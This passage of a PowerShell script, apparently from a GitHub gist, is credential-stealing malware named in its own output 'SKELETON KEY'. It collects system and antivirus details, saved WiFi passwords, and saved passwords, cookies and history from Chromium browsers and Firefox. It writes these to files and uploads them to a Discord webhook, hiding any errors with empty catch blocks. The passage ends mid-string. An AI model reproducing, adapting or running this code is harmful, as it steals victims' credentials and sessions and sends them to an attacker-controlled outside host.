| $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyStart) | |
| $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) | |
| $endBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyEnd) | |
| $fullBody = New-Object byte[] ($bodyBytes.Length + $fileBytes.Length + $endBytes.Length) | |
| [Buffer]::BlockCopy($bodyBytes, 0, $fullBody, 0, $bodyBytes.Length) | |
| [Buffer]::BlockCopy($fileBytes, 0, $fullBody, $bodyBytes.Length, $fileBytes.Length) | |
| [Buffer]::BlockCopy($endBytes, 0, $fullBody, $bodyBytes.Length + $fileBytes.Length, $endBytes.Length) | |
| try { | |
| Invoke-RestMethod -Uri $DiscordUrl -Method Post -ContentType "multipart/form-data; boundary=$boundary" -Body $fullBody -TimeoutSec 30 | Out-Null | |
| } catch {} | |
| } | |
| function Write-ResultsFile { | |
| param([string]$FileName, [array]$Data, [string]$Header) | |
| $path = Join-Path $Script:OutDir $FileName | |
| $lines = @() | |
| if ($Header) { $lines += $Header } | |
| if ($Data -and $Data.Count -gt 0) { | |
| $lines += ($Data | ForEach-Object { $_ | Out-String }) -replace '\s+$','' | |
| } else { | |
| $lines += '[No data found]' | |
| } | |
| [System.IO.File]::WriteAllText($path, ($lines -join "`r`n"), [System.Text.Encoding]::UTF8) | |
| } | |
| # ==================== 13. MAIN EXECUTION ==================== | |
| try { | |
| # --- System Info --- | |
| $hostname = $env:COMPUTERNAME | |
| $username = $env:USERNAME | |
| $osInfo = (Get-CimInstance Win32_OperatingSystem).Caption | |
| $avInfo = Get-AVInfo | |
| $sysBanner = @" | |
| HOST: $hostname | |
| USER: $hostname\$username | |
| OS: $osInfo | |
| AV: $avInfo | |
| TIME: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') | |
| "@ | |
| # --- WiFi --- | |
| $wifiData = Get-WiFi | |
| # --- Chromium Browsers --- | |
| $allPasswords = @() | |
| $allCookies = @() | |
| $allHistory = @() | |
| foreach ($browser in $ChromiumBrowsers) { | |
| if (!(Test-Path $browser.Path)) { continue } | |
| $allPasswords += Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path | |
| $allCookies += Get-ChromiumCookies -BrowserName $browser.Name -UserDataPath $browser.Path | |
| $allHistory += Get-ChromiumHistory -BrowserName $browser.Name -UserDataPath $browser.Path | |
| } | |
| # --- Firefox --- | |
| $ffProfile = Get-FirefoxProfilePath | |
| if ($ffProfile) { | |
| $ffPasswords = Get-FirefoxPasswords | |
| $ffCookies = Get-FirefoxCookies | |
| $ffHistory = Get-FirefoxHistory | |
| if ($ffPasswords) { $allPasswords += $ffPasswords | ForEach-Object { [PSCustomObject]@{Url="[Firefox] "+$_.Url; Username=$_.Username; Password=$_.Password} } } | |
| if ($ffCookies) { $allCookies += $ffCookies } | |
| if ($ffHistory) { $allHistory += $ffHistory } | |
| } | |
| # --- Write result files --- | |
| Write-ResultsFile -FileName 'system.txt' -Data @($sysBanner) -Header '' | |
| Write-ResultsFile -FileName 'wifi.txt' -Data $wifiData -Header "SSID`tPassword`n---`t---" | |
| Write-ResultsFile -FileName 'passwords.txt' -Data $allPasswords -Header "URL`tUsername`tPassword`n---`t---`t---" | |
| Write-ResultsFile -FileName 'cookies.txt' -Data $allCookies -Header "Host`tName`tValue`tPath`tExpires`tSecure`tHttpOnly`n---`t---`t---`t---`t---`t---`t---" | |
| Write-ResultsFile -FileName 'history.txt' -Data $allHistory -Header "URL`tTitle`tVisits`tLastVisit`n---`t---`t---`t---" | |
| # --- Send to Discord --- | |
| Send-ToDiscord -FilePath "$Script:OutDir\system.txt" -Description "System Info" | |
| Send-ToDiscord -FilePath "$Script:OutDir\wifi.txt" -Description "WiFi Passwords" | |
| Send-ToDiscord -FilePath "$Script:OutDir\passwords.txt" -Description "Browser Passwords ($($allPasswords.Count) entries)" | |
| Send-ToDiscord -FilePath "$Script:OutDir\cookies.txt" -Description "Browser Cookies ($($allCookies.Count) entries)" | |
| Send-ToDiscord -FilePath "$Script:OutDir\history.txt" -Description "Browser History ($($allHistory.Count) entries)" | |
| # --- Summary to Discord --- | |
| $summaryText = @" | |
| **SKELETON KEY — Extraction Complete** |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment